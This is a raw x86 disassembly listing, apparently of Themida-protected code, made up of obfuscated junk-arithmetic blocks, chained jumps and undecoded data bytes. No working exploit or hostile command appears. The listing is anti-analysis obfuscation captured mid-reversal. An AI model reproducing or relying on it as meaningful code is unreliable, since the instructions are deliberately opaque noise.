		dd 68000012h, 6377h, 68240C89h,	1775h, 0BA241489h, 737B7310h
		dd 0A7B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_59B6D9:				; CODE XREF: Themida_:0059675Ej
		push	eax
		mov	eax, 281D5FEEh
		mov	edx, eax
		jmp	loc_5A9C8E
; ---------------------------------------------------------------------------
		dw 8158h
		dd 12326DC3h, 0E9D8294Ah, 8657h, 4244C01h, 83240C8Bh, 0B7E904C4h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B703:				; CODE XREF: Themida_:00597A42j
		sub	[esp+4], edx
		jmp	loc_5A75D0
; ---------------------------------------------------------------------------


loc_59B70C:				; CODE XREF: Themida_:005AA63Dj
		not	eax
		xchg	eax, esi
		push	ebx
		jmp	loc_598C40
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0DBh
		dd 12E694Eh, 0DBEF81F7h, 5E2E694Eh, 3FB850h, 0C70976B0h
		dd 0E9515058h, 0F321h
; ---------------------------------------------------------------------------


loc_59B734:				; CODE XREF: Themida_:005A7DC3j
		pop	ecx
		push	ecx
		jmp	loc_5A69AD
; ---------------------------------------------------------------------------
		db 1
		dd 242C8BEAh, 81E28952h, 4C2h, 0DDAE900h, 0D3F70000h, 5243D3F7h
		dd 43E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_59B759:				; CODE XREF: Themida_:005A4579j
		mov	ecx, 30A726AFh
		jmp	loc_59811F
; ---------------------------------------------------------------------------
		db 66h
		dd 0FB76E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B76A:				; CODE XREF: Themida_:005A152Cj
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0F135034h
		inc	edx
		sub	edx, 0FFFFFFFFh
		sub	edx, 8954DC7h
		inc	edx
		shr	edx, 5
		jmp	loc_59B861
; ---------------------------------------------------------------------------


loc_59B793:				; CODE XREF: Themida_:0059655Cj
		push	80Eh
		mov	[esp], ebx
		jmp	loc_59EE18
; ---------------------------------------------------------------------------
		dd 0B89D7CBFh, 5FFE29C4h, 535EF301h, 0FFDC58E9h, 2434FFFFh
		dd 4983E9h, 8D600500h, 0C73187DAh, 0E95658h, 0BE000000h
		dd 35F4485Ah, 0FFFF44E9h, 243489FFh, 0C681E689h, 4, 4EE81h
		dd 87E90000h, 5000005Bh, 1470A1B8h, 5AD10561h, 0AE256DA1h
		dd 0C1047930h, 976802E8h, 8900006Dh, 0C8E92404h, 52FFFFCCh
		dd 0FFD786E9h, 0CAEB81FFh, 0E90D545Bh, 0C818h
; ---------------------------------------------------------------------------


loc_59B818:				; CODE XREF: Themida_:0059F72Dj
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 2E5823F2h
		sub	edx, 43BA1BE6h
		neg	edx
		inc	edx
		xor	edx, 1561F7F1h
		jmp	loc_59CD03
; ---------------------------------------------------------------------------


loc_59B835:				; CODE XREF: Themida_:00597798j
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 6601587Bh
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5A3608
; ---------------------------------------------------------------------------


loc_59B861:				; CODE XREF: Themida_:0059B78Ej
		sub	edx, 33F00Fh
		add	ecx, edx
		pop	edx
		push	488Eh
		mov	[esp], eax
		push	esi
		mov	esi, 6AE238BAh
		or	esi, 7EC0CBCh
		not	esi
		sub	esi, 523E0E00h
		neg	esi
		jmp	loc_59ADCD
; ---------------------------------------------------------------------------
		db 5Fh,	4Dh, 0E9h
		dd 0FFFFABDBh, 0E749B7B8h, 505EE94Eh, 3C8B0000h, 4C48324h
		dd 0E904EB83h, 4AA3h, 0EC835A66h, 4E39E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B8B6:				; CODE XREF: Themida_:0059636Dj
		mov	[esp], eax
		jmp	loc_598562
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 4E1A0424h, 7C01356Ch, 44810424h, 4E1A0424h, 9E68356Ch
		dd 0E900002Fh, 20EFh, 4AB3C381h, 835A1A14h, 1C3302C3h
		dd 241C3124h, 73E1E9h, 0DEC18100h, 503B2C47h, 535C68h
		dd 0C418E900h, 665CFFFFh, 53241C89h, 0C381E389h, 4, 4EB81h
		dd 1C870000h, 14895C24h, 2857E924h, 14330000h, 88535C24h
		dd 385F88CBh, 240C8B5Bh, 0E904C483h, 0FFFFA554h, 8E5C15Bh
		dd 0F581DDF7h, 0EFAA5700h, 295DEB89h, 0E9DA89D3h, 0DF0h
		dd 4C481h, 0FF510000h, 0E959240Ch, 0A6C0h, 54C3815Eh, 8123C835h
		dd 0E6E30EBh, 7CBF5777h, 0F736E152h, 6EE94FD7h,	5700000Dh
		dd 586A6852h, 0E95A0AA8h, 7A5h,	4C481h,	0CB870000h, 0BD0CE9h
		dd 0E0ED8100h, 0D1743663h, 9F581E5h, 0E97BB44Ah, 4DDFh
		dd 0C107E5C1h, 0F58108EDh, 57B413BEh, 3FE9EB89h, 8300008Fh
		dd 0C8904ECh, 0DD07E924h, 81460000h, 849F81EEh,	0B4F0E9C3h
		dd 8957FFFFh, 4C781E7h,	81000000h, 4C7h, 0DB3DE900h, 66680000h
		dd 89000047h, 0FFBD242Ch, 29FFFFFFh, 0C2815DEAh, 7D774B73h
		dd 4AB3EB81h, 0D3011A14h, 0FFFED3E9h, 243433FFh, 77E8E9h
		dd 8B5B6600h, 0C481240Ch, 4, 0DF42E9h
		db 0
; ---------------------------------------------------------------------------


loc_59BA21:				; CODE XREF: Themida_:005A7B01j
		mov	eax, 771620AAh
		jmp	loc_5A395D
; ---------------------------------------------------------------------------
aSSxs		db 'Àé',7,'éåá',0
		db 0
; ---------------------------------------------------------------------------


loc_59BA33:				; CODE XREF: Themida_:0059F83Dj
		mov	[esp], ebp
		xchg	eax, [esp]
		xchg	eax, ebp
		xor	ebp, esi
		xor	esi, ebp
		xor	ebp, esi
		jmp	loc_59F25D
; ---------------------------------------------------------------------------


loc_59BA45:				; CODE XREF: Themida_:005A8574j
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_59C030
		push	1
		push	dword ptr [esp]
		pop	edx
		push	0A0Eh
		mov	[esp], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 43611B1h
		xor	edx, 5216175Ch
		not	edx
		add	edx, 562006F2h
		add	ecx, edx
		pop	edx
		push	3FDBh
		mov	[esp], eax
		jmp	loc_596596
; ---------------------------------------------------------------------------
aXsU		db 'Xé¹î',0
		dd 4BD00h, 6C010000h, 2C8B0424h, 0B125E924h, 835D0000h
		dd 56604C4h, 5E916C9h, 5AFFFFD6h, 0E904C483h, 9C3Dh, 241C8B58h
		dd 0E904C483h, 0AFD1h, 0C181E189h, 4, 4C181h, 0C870000h
		dd 0EC835C24h, 0C896602h, 0E93DB524h, 0FFFFB0DCh, 410ABF57h
		dd 0CF815615h, 144A6E75h, 0FFD2CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59BAF1:				; CODE XREF: Themida_:0059AE1Dj
		mov	ecx, 5FA18A00h
		sub	edi, 523125A0h
		sub	edi, ecx
		push	ebx
		mov	ebx, 4977461Bh
		and	ebx, 6BF07423h
		shl	ebx, 2
		xor	ebx, 58B17FD3h
		shr	ebx, 4
		jmp	loc_5A8579
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C2414h, 0FFFFA368h, 1127C181h, 0CF894610h, 4EC8359h
		dd 0BB241C89h, 57465A68h, 0FFA4F0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59BB3D:				; CODE XREF: Themida_:0059D78Fj
		add	eax, edx
		add	eax, 5C996FBAh
		pop	edx
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		push	edi
		mov	edi, esp
		push	ebp
		jmp	loc_59E6C8
; ---------------------------------------------------------------------------
		db 1, 0D9h, 5Bh
		dd 4C181h, 0E2680000h, 8900006Dh, 74FF240Ch, 0C8B0424h
		dd 4EC8124h, 89000000h,	0E389241Ch, 0FFBB56E9h,	24248BFFh
		dd 0FF04C483h, 34FF2434h, 0C4815924h, 4, 55A0E9h, 241C8900h
		dd 6D1360BBh, 5EBC132h,	6899B850h, 0C3810193h, 5C5A7505h
		dd 4A3DEB81h, 0C3812081h, 25452548h, 0F32CE9h, 241C3300h
		dd 33241C31h, 0FE9241Ch
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BBCB:				; CODE XREF: Themida_:00599911j
		mov	edx, 0
		add	edx, ecx
		xor	dword ptr [edx], 73353301h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AA0BE
; ---------------------------------------------------------------------------
		dw 0F488h
		dd 0E688C4FEh, 0AE5FE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BBF2:				; CODE XREF: Themida_:005A9F00j
		pop	ebx
		shl	ebx, 1
		inc	ebx
		jmp	loc_5A8861
; ---------------------------------------------------------------------------
		db 5Ch
		dd 15DEE31h, 7D9FE9F3h,	0D6F70000h, 58F0E9h, 0C1D5F700h
		dd 0D5F704EDh, 78BB5357h, 89DD6CAFh, 0FD295BDFh, 2C81555Fh
		dd 0A1577824h, 0D893E971h, 0C4830000h, 4C38104h, 53000000h
		dd 42474FFh, 0F67EE95Bh, 0EC810000h, 4,	56241C89h, 0B0A2E9h
		dd 48F5A00h, 77E95C24h,	8B000041h, 0C483240Ch, 6EF18104h
		dd 0E921DF53h, 6B44h, 0E5C14D5Ah, 7EDC105h, 2E03C581h
		dd 0ED812F48h, 3065BC9Fh, 575DEF01h, 42474FFh, 24048F5Fh
		dd 4EC815Ch, 0E9000000h, 74E9h,	104C483h, 2434FFC1h, 0E92434FFh
		dd 0E1C9h, 0B5E9F2B4h, 810000DFh, 4C4h,	0D345E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BCBA:				; CODE XREF: Themida_:00599F60j
		mov	ecx, [edx]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		and	ecx, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5A3367
; ---------------------------------------------------------------------------
		dw 0F92Dh
		dd 29177951h, 7226E9F0h, 74FF0000h, 2CE90424h, 68000050h
		dd 1D73h, 0FF240489h, 8B042474h, 0C4812404h, 4,	8B24048Fh
		dd 34FF2424h, 24048B24h, 5D86E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BD26:				; CODE XREF: Themida_:00597F77j
		push	ebp
		mov	ebp, 27ED59BEh
		sub	edi, ebp
		jmp	loc_59F86C
; ---------------------------------------------------------------------------
aB_1		db 'ÁÙ"œ',0
		db 8Bh,	4, 24h
		dd 3304C483h, 8AE9240Ch, 810000EBh, 0AF2A6EEAh,	0D8B9510Eh
		dd 10A7236h, 3C8B59CAh,	4126E924h, 89660000h, 5D68240Ch
		dd 8900003Ah, 3BB3241Ch, 6A1868h, 24048900h, 88FEB551h
		dd 240C8BE8h, 4C481h, 68660000h, 89665933h, 0BDB7241Ch
		dd 0F165E9h, 0FFEE8900h, 0E95D2434h, 59Bh, 1C8BDF89h, 7999E924h
		dd 1C870000h, 0FF505C24h, 58042474h, 8B24048Fh,	89662424h
		dd 50662414h, 428BE99Ch, 348B0000h, 0E473E924h,	4870000h
		dd 0E5E95C24h
		db 0C7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BDD3:				; CODE XREF: Themida_:005A4283j
		pop	ebx
		add	esp, 4
		add	edx, 0AAE028Eh
		sub	edx, esi
		sub	edx, 0AAE028Eh
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_5A0495
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5AAD7B
; ---------------------------------------------------------------------------


loc_59BDFE:				; CODE XREF: Themida_:005A6DEEj
		mov	[esp], esi
		mov	esi, 72444ABAh
		shr	esi, 4
		shl	esi, 6
		dec	esi
		jmp	loc_5AA1B3
; ---------------------------------------------------------------------------
		dw 0AEB1h
		dd 0D1F6C9FEh, 729EE9h
		db 0
; ---------------------------------------------------------------------------


loc_59BE1D:				; CODE XREF: Themida_:005A259Aj
		push	eax
		mov	eax, 4A1415A5h
		add	eax, 1
		jmp	loc_5A2588
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF243Ch, 8F5F0424h, 248B2404h, 2434FF24h, 0E92434FFh
		dd 4E2Bh, 0E94077FFh, 0FFFFA040h
; ---------------------------------------------------------------------------


loc_59BE4C:				; CODE XREF: Themida_:005A9433j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 785C1C07h
		sub	esp, 4
		jmp	loc_59EB22
; ---------------------------------------------------------------------------
		dw 9D05h
		dd 5E612F01h, 4B951h, 0B1E90000h, 89000045h, 4C281E2h
		dd 81000000h, 4EAh, 24143300h, 33241431h, 895C2414h, 58E92414h
		dd 4300008Ah, 20C5E9h, 1DBF5700h, 81304E16h, 871319CFh
		dd 2EFC178h, 8103E7C1h,	126F7ACFh, 9EF7813Eh, 29B5551Bh
		dd 90E95FF8h, 0C1FFFFC0h, 0F38102EBh, 26017221h, 4EC81h
		dd 0C890000h, 143FE924h, 0C6810000h, 0C5ABA2Fh,	95EF731h
		dd 0B8505FF9h, 2A3E111Ah, 30096F05h, 0F53BE955h, 345B0000h
		dd 58C38865h, 40E9D828h, 81FFFFC1h, 0E47D4ECDh,	0E6D0E90Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BF0A:				; CODE XREF: Themida_:005A9921j
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 682B7F03h
		add	ebp, 97D48101h
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		push	eax
		jmp	loc_599C96
; ---------------------------------------------------------------------------
		db 68h
		dd 7034h, 8904EC83h, 9BE92424h,	5900008Fh, 6EF80h, 241C8BF8h
		dd 5304C483h, 0D828C6B3h, 56241C8Bh, 0C681E689h, 4, 56C1E9h
		dd 1C4F0900h, 50240C8Bh, 5256E089h, 0F0015D68h,	0C2815A56h
		dd 2B4D3B24h, 19F7EA81h, 0EA81166Dh, 267C1F06h,	0FFBF6DE9h
		dd 3008B9FFh, 0C18129EAh, 0BEA279AEh, 0C8BCB01h, 4C48124h
		dd 2D000000h, 6A290D08h, 6855D829h, 6A290D08h, 2C62E9h
		dd 4C48300h, 0FF1C4709h, 68582434h, 70CCh, 54243489h, 7DB8505Eh
		dd 0C178944Eh, 0C1E902E0h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59BFD3:				; CODE XREF: Themida_:00596070j
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_5A15D3
; ---------------------------------------------------------------------------
aCSU		db 'Áæ',7,'é°u',0
		align 2


loc_59BFE6:				; CODE XREF: Themida_:005A9B15j
		pop	esi
		add	esi, 42F87C32h
		jmp	loc_59C422
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0C2810000h, 4, 2474FF52h, 48F5A04h, 0D94AE924h
		dd 2AB1FFFFh, 8B59C800h, 0C4812414h, 4,	0EC83C330h, 24148904h
		dd 81BB5357h, 0E95EA70Eh, 0ED13h
; ---------------------------------------------------------------------------


loc_59C030:				; CODE XREF: Themida_:0059BA4Aj
					; Themida_:005A8BAAj ...
		push	dword ptr [edi+24h]
		push	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 570B32EDh
		shr	edx, 4
		jmp	loc_599D23
; ---------------------------------------------------------------------------
		db 0B3h
		dd 5BD80046h, 9D04ED2Ch, 0F185E9h
		db 0
; ---------------------------------------------------------------------------


loc_59C055:				; CODE XREF: Themida_:005A8C4Dj
		push	ebx
		push	2DA3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_59D932
; ---------------------------------------------------------------------------


loc_59C067:				; CODE XREF: Themida_:005A8A23j
		pop	esi
		jmp	loc_5A44D6
; ---------------------------------------------------------------------------
		db 0B8h, 0FDh, 0Ch
aIS_0		db '¨{éÝ´',0
		dw 5C00h
		dd 0E99CC884h, 0FFFF9E0Ch, 8702C683h, 248B2434h, 0C8B6624h
		dd 0A664E924h, 0C689FFFFh, 8324048Bh, 0BA5204C4h, 426046C7h
		dd 0CE9D301h, 800000B2h, 0FAE9FFEAh, 58FFFFBFh,	0C681D601h
		dd 0BF866BEh, 0B66CE9h,	1BAF6800h, 0C890000h, 1B45024h
		dd 0FFDD9DE9h, 2434FFFFh, 8D8FE9h, 79776800h, 2C890000h
		dd 9266E924h, 0A5E90000h, 81FFFF9Dh, 0F3608FCEh, 14F7563Eh
		dd 0EE815E24h, 80AFCh, 1BA4C781h, 0E97C2Ch, 66000099h
		dd 66C8AF0Fh, 7DE99C51h, 2CFFFF9Dh, 0E044E986h,	0DFBF0000h
		dd 4F396B1Fh, 7031F781h, 0C28108C8h, 0F0A4CE0h,	5FCAE9h
		dd 2E2C100h, 7273F281h,	0D789ADA4h, 5FFA015Ah, 32FFFA01h
		dd 6E242C81h, 5864B709h, 3F1468h, 0EDCBE900h, 0C6810000h
		dd 4, 5C243487h, 8F04C483h, 248B2404h, 4296624h, 1DE99C24h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C16F:				; CODE XREF: Themida_:005A1E4Bj
		push	3B45h
		mov	[esp], ecx
		mov	ecx, 5A8D3D0Dh
		sub	[esp+8], ecx
		pop	ecx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A5897
; ---------------------------------------------------------------------------
		db 81h
		dd 0AF7022C2h, 81CA297Eh, 0AF7022EAh, 2EA817Eh,	0E91AA54Ah
		dd 0FFFFAA82h, 592434FFh, 50E68956h, 4F23EDB8h,	94E95515h
		dd 81000061h, 632113E3h, 18BF5777h, 813BAF5Fh, 5BF8FAC7h
		dd 0A3A1E960h, 0D889FFFFh, 643CE9h
		db 0
; ---------------------------------------------------------------------------


loc_59C1DD:				; CODE XREF: Themida_:0059F54Cj
		xor	edi, edx
		mov	edx, [esp]
		push	ebp
		jmp	loc_5A78F1
; ---------------------------------------------------------------------------
		dd 4C681h, 34870000h, 24248B24h, 9F8AE9h, 5DB15100h, 8009F180h
		dd 0CA00A2F1h, 66D00059h, 35E9525Ah, 52FFFFB9h,	2BAh, 5AD70100h
		dd 67B8E9h, 89C68100h, 5948D51Fh, 450F68h, 241C8900h, 6E57BABBh
		dd 0BDEB8113h, 0C1311D73h, 814B05EBh, 0D420EEEBh, 0E9514B10h
		dd 0AECDh, 1FB9EA81h, 0F2010FFAh, 1FB9C281h, 34FF0FFAh
		dd 0C4815E24h, 4, 1FCE281h, 0EA81070Dh,	70D004Ch, 525AD601h
		dd 4BAh, 5AD62900h, 0E643E9h, 4C38100h,	83000000h, 1C8704C3h
		dd 0FF665C24h, 9BFAE930h, 489FFFFh, 0B3535124h,	7EBC027h
		dd 9024E9h, 88F38100h, 8136ED33h, 0B054F7C3h, 0F49CE958h
		dd 48FFFFFh, 9BD2E987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C2BA:				; CODE XREF: Themida_:0059EC87j
		push	29E0h
		mov	[esp], ebx
		jmp	loc_5A22E0
; ---------------------------------------------------------------------------
		db 68h
		dd 0F3Bh, 0BF243C89h, 751522B9h, 0F781D7F7h, 2D960EEFh
		dd 5DC6C781h, 0F801D65Dh, 5F2434FFh, 56E0E9h, 26EFB800h
		dd 0C18964D4h, 5724048Bh, 0C781E789h, 4, 4C781h, 3C870000h
		dd 0CE015C24h, 9DE95259h, 0B8FFFFBDh, 4, 8758C629h, 895C2434h
		dd 0EC832404h, 24248904h, 4240481h, 8B000000h, 5CE92404h
		dd 68000027h, 4191h, 9B19E9h, 24348B00h, 8104C483h, 14E2BAC7h
		dd 316C68D3h, 3C890000h, 0B4BFE924h, 7368FFFFh,	0E900006Fh
		dd 2D93h, 0A2BA525Eh, 8311CC16h, 0C28101C2h, 34B609E0h
		dd 7E86CA81h, 0C28173EEh, 8AC57A78h, 0FFE96FE9h, 8BEE01FFh
		dd 0EEE9242Ch, 0FF00000Dh, 38E92434h, 81FFFF9Dh, 4C2h
		dd 4EA8100h, 87000000h,	895C2414h, 1CE9243Ch
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C3AF:				; CODE XREF: Themida_:005A6C2Bj
		xor	ebx, esi
		pop	esi
		push	ebx
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59849A
; ---------------------------------------------------------------------------


loc_59C3C7:				; CODE XREF: Themida_:005A6E40j
		xchg	eax, ebx
		xchg	ebx, [esp]
		mov	ebp, [esp]
		jmp	loc_59909E
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0B5F681DEh, 81253D35h, 2541F9F6h, 5EF78952h,	9237C781h
		dd 92E9800Bh, 59000047h, 803FB450h, 0ECC061ECh,	4655E903h
		dd 0EC830000h, 241C8904h, 495C68h, 242C8900h, 923586BDh
		dd 0A8B0E970h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C416:				; CODE XREF: Themida_:0059F763j
		add	eax, edi
		mov	ecx, [eax]
		push	dword ptr [esp]
		jmp	loc_59777F
; ---------------------------------------------------------------------------


loc_59C422:				; CODE XREF: Themida_:0059BFEDj
		sub	esi, ecx
		sub	esi, 42F87C32h
		jmp	loc_59F8A3
; ---------------------------------------------------------------------------
		db 9
		dd 24348BF3h, 4C481h, 0EC830000h, 24348904h, 2FA968h, 24048900h
		dd 940C85B8h, 0FC40E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C452:				; CODE XREF: Themida_:0059775Cj
		mov	ebp, [esp]
		jmp	loc_5A8069
; ---------------------------------------------------------------------------


loc_59C45A:				; CODE XREF: Themida_:0059E749j
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 142F3E28h
		or	ecx, 1DC73FFFh
		push	esi
		push	ebp
		mov	ebp, 5EEF6F1Dh
		inc	ebp
		sub	ebp, 1
		add	ebp, 0FB41D2D1h
		mov	esi, ebp
		pop	ebp
		or	ecx, esi
		pop	esi
		push	eax
		mov	eax, 741C3684h
		add	eax, 1
		inc	eax
		jmp	loc_5AA5EB
; ---------------------------------------------------------------------------


loc_59C493:				; CODE XREF: Themida_:005A9382j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_599A32
; ---------------------------------------------------------------------------


loc_59C4A1:				; CODE XREF: Themida_:005AA72Ej
		push	ebx
		push	esi
		mov	esi, 72D33ABEh
		sub	[esp+4], esi
		jmp	loc_59CF4F
; ---------------------------------------------------------------------------
aSiSrl		db 'SˆËéRL',0
		dd 68AD6600h, 3B51h, 0E9242C89h, 0EEBDh, 5C243C87h, 1EE668h
		dd 24148900h, 6164BE56h, 0CE817384h, 67A21DAFh,	0CF90E9h
		dd 48B6600h, 255D6824h,	3C890000h, 685F5424h, 4691h, 0BE243489h
		dd 4, 1B48E9h
		db 0
; ---------------------------------------------------------------------------


loc_59C505:				; CODE XREF: Themida_:005A74EFj
		add	esp, 4
		add	edx, 9661660h
		add	edx, edi
		sub	edx, 9661660h
		push	dword ptr [esp]
		jmp	loc_597528
; ---------------------------------------------------------------------------
		dw 2CBAh
		dd 0E9AC3CFCh, 4FCEh, 4C281h, 14870000h, 0E9555C24h, 0FFFFB7D6h
; ---------------------------------------------------------------------------


loc_59C538:				; CODE XREF: Themida_:005A5A70j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5A26C8
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 0E704246Ch, 15A2062h, 8104245Ch, 0E7042444h,	0E95A2062h
		dd 36DAh, 7FDD68h, 24248900h, 4240483h,	0B5B9515Ah, 81628B47h
		dd 8B47B1E9h, 0C18AE962h, 515BFFFFh, 59241CF6h,	66CEC180h
		dd 6FB05053h, 2C08E0C0h, 4F3AE901h, 248B0000h, 0BF575024h
		dd 0AEE0B36h, 565FF889h, 0ED553CBEh, 0F6814E3Ch, 648E66FCh
		dd 348BF031h, 4C48124h,	25000000h, 38410524h, 847BA52h
		dd 0DAF70201h, 7457C281h, 79E95392h, 0F70000CFh, 0E4C681D6h
		dd 8117CE24h, 0CD06D2EEh, 5EF101C7h, 0EA81E9h, 30E95000h
		dd 31000091h, 56525AD3h, 1DB6BF57h, 0FE8967CEh,	0E9F2895Fh
		dd 97CFh, 68240489h, 74CCh, 143DE9h, 15B95100h,	0B830A412h
		dd 21667A94h, 0D59C831h, 396B4475h, 8305E0C1h, 0B03501C0h
		dd 0E9608BFCh, 0FFFFE5A2h, 4C48358h, 53BE9h, 4BA00h, 0ED810000h
		dd 1ECE43C0h, 6FE9D501h, 8100003Ah, 0EF2AE5C3h,	242C8B35h
		dd 0FF9E66E9h, 148966FFh, 8044B224h, 0D0E943C2h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59C66B:				; CODE XREF: Themida_:005A4A82j
		sub	esi, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		push	300Ah
		mov	[esp], ebp
		mov	ebp, 35E40B89h
		push	ecx
		jmp	loc_5A8A8A
; ---------------------------------------------------------------------------
		dw 0F380h
		dd 5BDE00ADh, 8005EEC0h, 0F1880BEEh, 4554E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C69A:				; CODE XREF: Themida_:005A2CA2j
		inc	esi
		shl	esi, 1
		sub	esp, 4
		mov	[esp], edi
		push	edx
		push	19DB65A0h
		mov	edx, [esp]
		add	esp, 4
		neg	edx
		xor	edx, 0E702EDCEh
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, edi
		pop	edi
		mov	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ebx, edi
		mov	dword ptr [ebx], 0
		jmp	loc_5A748B
; ---------------------------------------------------------------------------


loc_59C6DE:				; CODE XREF: Themida_:005A00FFj
		push	dword ptr [esp]
		pop	eax
		push	esi
		push	esp
		jmp	loc_59B603
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 7Ah
		dd 1C0985Bh, 0FB015FFBh, 5208EB81h, 1CE90886h, 660000B9h
		dd 68240C8Bh, 26E0h, 81241C89h,	4ECh, 48F5400h,	4F87E924h
		dd 81660000h, 661F34EBh, 5266C329h, 0FFB182E9h,	4B8FFh
		dd 0C5890000h, 8BE80158h, 8368242Ch, 0E9000078h, 0A3B1h
		dd 81241C8Bh, 4C4h, 0CC22E900h,	5B5DFFFFh, 0BE9D829h, 89000079h
		dd 0B850243Ch, 37945079h, 0E958C789h, 9326h, 30FEEA81h
		dd 6AE90022h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59C773:				; CODE XREF: Themida_:0059DB1Bj
		push	1542h
		mov	[esp], edx
		mov	edx, 15904F01h
		sub	edx, 69BD75C5h
		xor	edx, 1EC906F7h
		add	edx, 5D808A39h
		add	edi, edx
		pop	edx
		jmp	loc_5A60E8
; ---------------------------------------------------------------------------
		dw 525Bh
		dd 4BAh, 0C266E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59C7A6:				; CODE XREF: Themida_:005A5C0Aj
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		push	6F67h
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 2D5C1711h
		add	eax, 0EDA51C0h
		push	ecx
		jmp	loc_5A37A2
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0A3C6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C7CE:				; CODE XREF: Themida_:005AB041j
		push	eax
		mov	eax, 6743C15h
		sub	eax, 8AC22591h
		or	ebp, eax
		jmp	loc_59E7A4
; ---------------------------------------------------------------------------
		dd 4BAh, 5AD70100h, 0DB35E9h
		db 0
; ---------------------------------------------------------------------------


loc_59C7ED:				; CODE XREF: Themida_:00599AE6j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A0BB1
; ---------------------------------------------------------------------------


loc_59C7F6:				; CODE XREF: Themida_:0059FC93j
		mov	eax, 7DC27D52h
		dec	eax
		and	eax, 78B11592h
		inc	eax
		jmp	loc_5A7561
; ---------------------------------------------------------------------------
		db 5Ah
		dd 95E9C301h, 8100001Ah, 4C2h, 4EA8300h, 0E9241433h, 600Eh
; ---------------------------------------------------------------------------


loc_59C820:				; CODE XREF: Themida_:0059FF10j
		mov	ebp, esp
		jmp	loc_5A135D
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0CCC9h
; ---------------------------------------------------------------------------


loc_59C830:				; CODE XREF: Themida_:00597EF1j
		sub	esp, 4
		jmp	loc_5A8E4C
; ---------------------------------------------------------------------------
		dd 8103E2C1h, 76410CC2h, 0F281426Fh, 68A44044h,	4DBA5251h
		dd 0C157A75Bh, 9AE906EAh, 350000A1h, 8E2E3DE9h,	0FF9652E9h
		dd 72EAB8FFh, 0D8F7693Fh, 0B37AE9h, 4C28100h, 55000000h
		dd 9E2697BDh, 4EC8168h,	0E9000000h, 4BA8h
; ---------------------------------------------------------------------------


loc_59C884:				; CODE XREF: Themida_:0059D97Fj
		mov	[esp], esp
		jmp	loc_59950A
; ---------------------------------------------------------------------------


loc_59C88C:				; CODE XREF: Themida_:00595F78j
		push	ecx
		mov	ecx, 5B8A7EF4h
		neg	ecx
		jmp	loc_5A03BF
